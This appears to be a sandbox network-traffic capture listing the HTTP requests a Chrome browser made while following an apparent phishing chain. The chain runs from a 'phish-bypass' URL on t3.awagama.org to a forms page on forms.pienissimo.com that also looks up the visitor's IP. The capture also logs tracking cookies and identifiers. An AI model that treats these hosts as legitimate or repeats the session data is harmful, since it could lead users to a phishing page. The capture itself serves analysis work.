Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQi5ys0BCMfRzQEIidPNAQjc080BCMvWzQEI9NbNAQiK180BCKfYzQEI+cDUFRi60s0BGMvYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQi5ys0BCMfRzQEIidPNAQjc080BCMvWzQEI9NbNAQiK180BCKfYzQEI+cDUFRi60s0BGMvYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/phish-bypass?atok=5CxXRy3gIXYBSZxQYjr6WUagwEOFFlA0IN62CHhpDX0-1735922003-0.0.1.1-%2Fmima.mp4 HTTP/1.1Host: t3.awagama.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: t3.awagama.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://t3.awagama.org/cdn-cgi/phish-bypass?atok=5CxXRy3gIXYBSZxQYjr6WUagwEOFFlA0IN62CHhpDX0-1735922003-0.0.1.1-%2Fmima.mp4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?hash=UZuyPFB7D33R7lvcjvW37OHaRuQxWlgK&id=Fl7E3J HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /clmap/99162160?page-url=https%3A%2F%2Fwww.cipassoitalia.it%2F&pointer-click=rn%3A285429440%3Ax%3A40686%3Ay%3A10485%3At%3A658%3Ap%3A%3BAAA%C2%84AA%C2%89AAAA%3AX%3A659%3AY%3A821&browser-info=u%3A1735921984342483081%3Av%3A1551%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Arqnl%3A1%3Ast%3A1735922050&t=gdpr(14)ti(1) HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cipassoitalia.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yashr=2978277861735921985; yabs-sid=814606481735921986; receive-cookie-deprecation=1; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjEzMiIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xMzIiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjEzMiIi; sync_cookie_csrf=962763166fake; yandexuid=5258352291735921983; yuidss=5258352291735921983; i=MWn/b3CGBdGz4xwo6ybs8zuB0m6dqTWEZs6SfrZEPLGuS1njVyPf5dksYDS0w6MqEEVqybkB7y6BVJBOmOuiQIuKgyY=; sync_cookie_ok=synced; yp=1736008391.yu.5258352291735921983; ymex=1738513991.oyu.5258352291735921983#1767457986.yrts.1735921986
Source: global traffic	HTTP traffic detected: GET /assets/css/magiczoomplus/magiczoomplus.css HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://forms.pienissimo.com/?hash=UZuyPFB7D33R7lvcjvW37OHaRuQxWlgK&id=Fl7E3JAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ngx-bootstrap/datepicker/bs-datepicker.css HTTP/1.1Host: unpkg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://forms.pienissimo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /styles.8e337ad5ac7530eb68dc.css HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://forms.pienissimo.com/?hash=UZuyPFB7D33R7lvcjvW37OHaRuQxWlgK&id=Fl7E3JAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/css/magiczoomplus/magiczoomplus.js HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://forms.pienissimo.com/?hash=UZuyPFB7D33R7lvcjvW37OHaRuQxWlgK&id=Fl7E3JAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /runtime-es2015.66c79b9d36e7169e27b0.js HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://forms.pienissimo.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://forms.pienissimo.com/?hash=UZuyPFB7D33R7lvcjvW37OHaRuQxWlgK&id=Fl7E3JAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /polyfills-es2015.6022d6f28e0500e60d30.js HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://forms.pienissimo.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://forms.pienissimo.com/?hash=UZuyPFB7D33R7lvcjvW37OHaRuQxWlgK&id=Fl7E3JAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /main-es2015.d19a2a9abbf7534a8995.js HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://forms.pienissimo.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://forms.pienissimo.com/?hash=UZuyPFB7D33R7lvcjvW37OHaRuQxWlgK&id=Fl7E3JAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /clmap/99162160?page-url=https%3A%2F%2Fwww.cipassoitalia.it%2F&pointer-click=rn%3A285429440%3Ax%3A40686%3Ay%3A10485%3At%3A658%3Ap%3A%3BAAA%C2%84AA%C2%89AAAA%3AX%3A659%3AY%3A821&browser-info=u%3A1735921984342483081%3Av%3A1551%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Arqnl%3A1%3Ast%3A1735922050&t=gdpr(14)ti(1) HTTP/1.1Host: mc.yandex.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yashr=2978277861735921985; yabs-sid=814606481735921986; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjEzMiIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xMzIiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjEzMiIi; sync_cookie_csrf=962763166fake; yandexuid=5258352291735921983; yuidss=5258352291735921983; i=MWn/b3CGBdGz4xwo6ybs8zuB0m6dqTWEZs6SfrZEPLGuS1njVyPf5dksYDS0w6MqEEVqybkB7y6BVJBOmOuiQIuKgyY=; sync_cookie_ok=synced; yp=1736008391.yu.5258352291735921983; ymex=1738513991.oyu.5258352291735921983#1767457986.yrts.1735921986
Source: global traffic	HTTP traffic detected: GET /ngx-bootstrap@19.0.1/datepicker/bs-datepicker.css HTTP/1.1Host: unpkg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://forms.pienissimo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /runtime-es2015.66c79b9d36e7169e27b0.js HTTP/1.1Host: forms.pienissimo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /polyfills-es2015.6022d6f28e0500e60d30.js HTTP/1.1Host: forms.pienissimo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/css/magiczoomplus/magiczoomplus.js HTTP/1.1Host: forms.pienissimo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts.b5b418b830aaccc72e6a.js HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://forms.pienissimo.com/?hash=UZuyPFB7D33R7lvcjvW37OHaRuQxWlgK&id=Fl7E3JAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en_US/fbevents.js HTTP/1.1Host: connect.facebook.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://forms.pienissimo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pattern.385356b129fcfde56de8.jpg HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://forms.pienissimo.com/styles.8e337ad5ac7530eb68dc.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en_US/fbevents.js HTTP/1.1Host: connect.facebook.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts.b5b418b830aaccc72e6a.js HTTP/1.1Host: forms.pienissimo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pattern.385356b129fcfde56de8.jpg HTTP/1.1Host: forms.pienissimo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /main-es2015.d19a2a9abbf7534a8995.js HTTP/1.1Host: forms.pienissimo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json&doNotCheckUser=true HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/plain, /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://forms.pienissimo.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://forms.pienissimo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fr.b377e77885d6a93660dc.svg HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://forms.pienissimo.com/styles.8e337ad5ac7530eb68dc.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /de.6435bf24d148ca7248e7.svg HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://forms.pienissimo.com/styles.8e337ad5ac7530eb68dc.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /nl.cfe72ae0b3d6d8485234.svg HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://forms.pienissimo.com/styles.8e337ad5ac7530eb68dc.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cz.5a24757d105fbe7a4e81.svg HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://forms.pienissimo.com/styles.8e337ad5ac7530eb68dc.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ru.7e04b988972d41f5c369.svg HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://forms.pienissimo.com/styles.8e337ad5ac7530eb68dc.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /hr.89b8c8af46eef412f1cd.svg HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://forms.pienissimo.com/styles.8e337ad5ac7530eb68dc.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /open/getFormsAuthV2/?hashform=UZuyPFB7D33R7lvcjvW37OHaRuQxWlgK&doNotCheckUser=true HTTP/1.1Host: enginev2.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/plain, /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://forms.pienissimo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://forms.pienissimo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json&doNotCheckUser=true HTTP/1.1Host: api.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/main.js?_=1735922053693 HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, /; q=0.01X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://forms.pienissimo.com/?hash=UZuyPFB7D33R7lvcjvW37OHaRuQxWlgK&id=Fl7E3JAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fr.b377e77885d6a93660dc.svg HTTP/1.1Host: forms.pienissimo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /de.6435bf24d148ca7248e7.svg HTTP/1.1Host: forms.pienissimo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://forms.pienissimo.com/?hash=UZuyPFB7D33R7lvcjvW37OHaRuQxWlgK&id=Fl7E3JAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
